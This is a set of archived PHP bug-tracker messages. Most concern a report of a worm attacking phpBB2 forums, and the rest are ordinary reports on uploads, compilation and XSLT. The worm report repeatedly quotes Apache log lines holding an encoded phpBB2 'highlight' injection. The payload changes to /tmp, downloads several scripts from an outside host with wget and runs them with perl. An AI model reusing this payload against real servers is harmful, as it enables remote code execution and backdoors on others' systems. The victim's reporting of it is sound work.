From: andrew at tophk dot net Operating system: Solaris 8 x86 PHP version: 4CVS-2004-12-29 (stable) PHP Bug Type: Unknown/Other Function Bug description: php worm Virus with phpBB2 Description: Problem :- I feel many Apache+PHP+phpBB2 server got php Worm Virus. My access log file show many server try to send that virus to my server. This Virus can download and run some perl program in your server folder /tmp or /var/tmp. And these would using much more CPU power. I feel not just one version php Worm Virus. I have see some C program in my /tmp. I think that back hole not just in phpBB2. Other php program may be got this back hole Apache Access Log:- p.s. the follow /forum/viewtopic.php is phpBB2 program file 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 54016 "-" "lwp-trivial/1.41" 195.78.58.246 - - [25/Dec/2004:17:30:24 +0800] "GET /forum/viewtopic.php?t=211&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%25
#31333 [Opn]: php worm Virus with phpBB2
ID: 31333 User updated by: andrew at tophk dot net Reported By: andrew at tophk dot net Status: Open Bug Type: Unknown/Other Function Operating System: Solaris 8 x86 PHP Version: 4CVS-2004-12-29 (stable) New Comment: 1 Previous Comments: [2004-12-29 14:01:36] andrew at tophk dot net Description: Problem :- I feel many Apache+PHP+phpBB2 server got php Worm Virus. My access log file show many server try to send that virus to my server. This Virus can download and run some perl program in your server folder /tmp or /var/tmp. And these would using much more CPU power. I feel not just one version php Worm Virus. I have see some C program in my /tmp. I think that back hole not just in phpBB2. Other php program may be got this back hole Apache Access Log:- p.s. the follow /forum/viewtopic.php is phpBB2 program file 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 54016 "-" "lwp-trivial/1.41" 195.78.58.246 - - [25/Dec/2004:17:30:24 +0800] "GET /forum/viewtopic.php?t=211&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252ech
#31333 [Bgs->Opn]: php worm Virus with phpBB2
ID: 31333 User updated by: andrew at tophk dot net Reported By: andrew at tophk dot net -Status: Bogus +Status: Open Bug Type: Unknown/Other Function Operating System: Solaris 8 x86 PHP Version: 4CVS-2004-12-29 (stable) New Comment: Main problem is these Virus can using php hidden function run 'perl' or 'wget'. That mean these virus can do another thing. Previous Comments: [2004-12-29 14:49:45] [EMAIL PROTECTED] Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. . [2004-12-29 14:42:54] andrew at tophk dot net These Virus would be open back door and attack other server. That back door can let another hacker easy to using my server. Because all server's back door is no user name and same password. They just using port search program, they will easily got the server. [2004-12-29 14:40:16] [EMAIL PROTECTED] Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. We do not support third-party applications. Thire is no bug in *PHP*. ---- [2004-12-29 14:02:40] andrew at tophk dot net 1 ---- [2004-12-29 14:01:36] andrew at tophk dot net Description: Problem :- I feel many Apache+PHP+phpBB2 server got php Worm Virus. My access log file show many server try to send that virus to my server. This Virus can download and run some perl program in your server folder /tmp or /var/tmp. And these would using much more CPU power. I feel not just one version php Worm Virus. I have see some C program in my /tmp. I think that back hole not just in phpBB2. Other php program may be got this back hole Apache Access Log:- p.s. the follow /forum/viewtopic.php is phpBB2 program file 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)
#31333 [Bgs->Opn]: php worm Virus with phpBB2
ID: 31333 User updated by: andrew at tophk dot net Reported By: andrew at tophk dot net -Status: Bogus +Status: Open Bug Type: Unknown/Other Function Operating System: Solaris 8 x86 PHP Version: 4CVS-2004-12-29 (stable) New Comment: These Virus would be open back door and attack other server. That back door can let another hacker easy to using my server. Because all server's back door is no user name and same password. They just using port search program, they will easily got the server. Previous Comments: [2004-12-29 14:40:16] [EMAIL PROTECTED] Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. We do not support third-party applications. Thire is no bug in *PHP*. [2004-12-29 14:02:40] andrew at tophk dot net 1 [2004-12-29 14:01:36] andrew at tophk dot net Description: Problem :- I feel many Apache+PHP+phpBB2 server got php Worm Virus. My access log file show many server try to send that virus to my server. This Virus can download and run some perl program in your server folder /tmp or /var/tmp. And these would using much more CPU power. I feel not just one version php Worm Virus. I have see some C program in my /tmp. I think that back hole not just in phpBB2. Other php program may be got this back hole Apache Access Log:- p.s. the follow /forum/viewtopic.php is phpBB2 program file 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252ech
#31757 [NEW]: $_FILES['userfile']['name'] returns entire directory with IE
From: andrew at eiknet dot com Operating system: RH Linux 8 PHP version: 4CVS-2005-01-30 (stable) PHP Bug Type: *Directory/Filesystem functions Bug description: $_FILES['userfile']['name'] returns entire directory with IE Description: While uploading a file using a script the $_FILES['userfile']['name'] variable returns the entire upload path, but only when using IE. The issue does not show up using Firefox. Using IE: $_FILES['userfile']['name'] -> C:\Documents and Settings\RARankin\Desktop\groupe_alliance_2004_gb.jpg Using Firefox: $_FILES['userfile']['name'] -> groupe_alliance_2004_gb.jpg Didnt happen before updating to 4.3.10+, I'm using a dev version due to compilation errors w/ GD in *.10. Error showed itself w/ phpBB's attachment modification. Andrew -- Edit bug report at http://bugs.php.net/?id=31757&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31757&r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=31757&r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=31757&r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=31757&r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=31757&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=31757&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=31757&r=needscript Try newer version: http://bugs.php.net/fix.php?id=31757&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=31757&r=support Expected behavior: http://bugs.php.net/fix.php?id=31757&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=31757&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=31757&r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=31757&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31757&r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=31757&r=dst IIS Stability: http://bugs.php.net/fix.php?id=31757&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=31757&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=31757&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=31757&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=31757&r=mysqlcfg
#25155 [NEW]: compile error when combining mime-magic with mssql
From: andrew at designtek1 dot com Operating system: FreeBSD PHP version: 4.3.3RC4 PHP Bug Type: Compile Failure Bug description: compile error when combining mime-magic with mssql Description: compiling fails when configured with both of the options --with-mime-magic --with-mssql compiler error: In file included from /usr/local/include/sybfront.h:23, from /usr/local/include/sqlfront.h:23, from /usr/ports/lang/php4/work/php-4.3.3RC4/ext/mssql/php_mssql.h:36, from main/internal_functions.c:57: /usr/local/include/sybdb.h:103: syntax error before `2' /usr/local/include/sybdb.h:150: syntax error before `1' /usr/local/include/sybdb.h:177: syntax error before `1' /usr/local/include/sybdb.h:204: syntax error before `1' /usr/local/include/sybdb.h:210: syntax error before `1' /usr/local/include/sybdb.h:281: syntax error before `1' /usr/local/include/sybdb.h:285: syntax error before `1' /usr/local/include/sybdb.h:339: syntax error before `1' /usr/local/include/sybdb.h:453: syntax error before `1' cpp0: output pipe has been closed i have traced this error to the fact that "ext/mime_magic/php_mime_magic.h" has lines 61 & 62: #define BYTE1 #define SHORT2 the errors from the freetds headers above refer to lines: 103:typedef shortSHORT; 150:typedef unsigned char BYTE; 177:BYTE*terminator; 204:BYTE*data; and so on i was able to compile successfully by changing the order of the following 2 lines in main/internal_functions.c: #include "ext/mime_magic/php_mime_magic.h" #include "ext/mssql/php_mssql.h" to #include "ext/mssql/php_mssql.h" #include "ext/mime_magic/php_mime_magic.h" -- Edit bug report at http://bugs.php.net/?id=25155&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25155&r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25155&r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25155&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25155&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25155&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25155&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25155&r=support Expected behavior: http://bugs.php.net/fix.php?id=25155&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25155&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25155&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25155&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25155&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25155&r=dst IIS Stability: http://bugs.php.net/fix.php?id=25155&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25155&r=gnused
#26183 [NEW]: Sablotron incorrectly erroring on DOCTYPE SYSTEM http
From: andrew at operationaldynamics dot com Operating system: Gentoo Linux PHP version: 4.3.2 PHP Bug Type: XML related Bug description: Sablotron incorrectly erroring on DOCTYPE SYSTEM http Description: When using the Sablotron XSLT processor, it would not let me reference a SYSTEM DTD via http. I was using: just fine, but when I needed to make the reference not rely on my location on the filesystem, I switched to this: http://goals/plan.dtd";> which no longer worked. Error below. Reproduce code: --- Calling PHP code: xslt_process($xh, $srcfile, $xslfile, $outfile) Expected result: http references should work in SYSTEM declarations! Actual result: -- Warning: Sablotron error on line 1: XML parser error 4: not well-formed (invalid token) in /home/andrew/Sites/local/goals/goalsDriver.php on line 115 WORKAROUND: By changing the DOCTYPE line to http://goals/plan.dtd";> It worked exactly as expected. I looked around, and saw many W3C examples which used SYSTEM in conjunction with an http method. The PUBLIC specification is only supposed to be used when one has done the right thing in naming a public DTD (ie, "-" isn't really an appropriate name!) Methinks that this is an upstream bug in Sablotron. AfC -- Edit bug report at http://bugs.php.net/?id=26183&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=26183&r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=26183&r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=26183&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=26183&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=26183&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=26183&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=26183&r=support Expected behavior: http://bugs.php.net/fix.php?id=26183&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=26183&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=26183&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=26183&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=26183&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=26183&r=dst IIS Stability: http://bugs.php.net/fix.php?id=26183&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=26183&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=26183&r=float
#26316 [NEW]: Accessing remote php files (xml header) with xslt doesn't get session variables
From: andrew at shh dot fi Operating system: windows xp PHP version: 4.3.3 PHP Bug Type: XSLT related Bug description: Accessing remote php files (xml header) with xslt doesn't get session variables Description: I've checked the bugs, searched google but no solution, except a work around. Problem is this: Create php page with XML header and create a session and store it in a tag. i.e Access it with the XSLT parser as a remote xml document (you need to of course) with a local XSL file. Parse it and the session is not there. This is probably because the XSLT parser is accessing the file from 'outside' and so the session has not been created. In my case its been create long before in the login script. The bug appears to be that the XSLT parser doesn't recognised the already created session. Is there a fix to this, perhaps a change in the XSLT function, etc. -- Edit bug report at http://bugs.php.net/?id=26316&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=26316&r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=26316&r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=26316&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=26316&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=26316&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=26316&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=26316&r=support Expected behavior: http://bugs.php.net/fix.php?id=26316&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=26316&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=26316&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=26316&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=26316&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=26316&r=dst IIS Stability: http://bugs.php.net/fix.php?id=26316&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=26316&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=26316&r=float
#26316 [Bgs]: Accessing remote php files (xml header) with xslt doesn't get session variables
ID: 26316 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi Status: Bogus Bug Type: XSLT related Operating System: windows xp PHP Version: 4.3.3 New Comment: You've missed the point here! Building XML documents using PHP doesn't matter whether the php tag starts with pt because the header funcion sends to the browser an xml header. The problem is more to do with the fact that the xslt parser when parsing the document doesn't see it from server side but rather from a client side. I'll add a short demo shortly. Previous Comments: [2003-11-19 19:49:47] [EMAIL PROTECTED] The obvious first thing that comes to my mind is that you're using short-tag there. ALWAYS use Access it with the XSLT parser as a remote xml document (you need to of course) with a local XSL file. Parse it and the session is not there. This is probably because the XSLT parser is accessing the file from 'outside' and so the session has not been created. In my case its been create long before in the login script. The bug appears to be that the XSLT parser doesn't recognised the already created session. Is there a fix to this, perhaps a change in the XSLT function, etc. -- Edit this bug report at http://bugs.php.net/?id=26316&edit=1
#26016 [Com]: Warning: fsockopen(): Bug
ID: 26016 Comment by: andrew at shh dot fi Reported By: hill at bluecarrots dot com Status: No Feedback Bug Type: *General Issues Operating System: Linux PHP Version: 4.3.3 New Comment: The error is real except this guy has the wrong script. I have the same problem - this is the script: $method = "ssl://"; $host = "myserver.com"; $port = 443; $fp = fsockopen($method.$host, $port, $errno, $errstr, $timeout = 30); I get the error: Warning: fsockopen(): no SSL support in this build AND SSL is loaded in php. Its a bug I patch on windows, but need one for linux Previous Comments: [2003-11-03 14:06:38] [EMAIL PROTECTED] No feedback was provided. The bug is being suspended because we assume that you are no longer experiencing the problem. If this is not the case and you are able to provide the information that was requested earlier, please do so and change the status of the bug back to "Open". Thank you. [2003-10-28 04:44:03] [EMAIL PROTECTED] Not enough information was provided for us to be able to handle this bug. Please re-read the instructions at http://bugs.php.net/how-to-report.php If you can provide more information, feel free to add it to this bug and change the status back to "Open". Thank you for your interest in PHP. please provide a sample script to illustrate the problem [2003-10-28 04:40:30] hill at bluecarrots dot com Description: I get the warning at the top of the page. Several refreshes of the browser rectifies. Warning: fsockopen(): php_network_getaddresses: getaddrinfo failed: 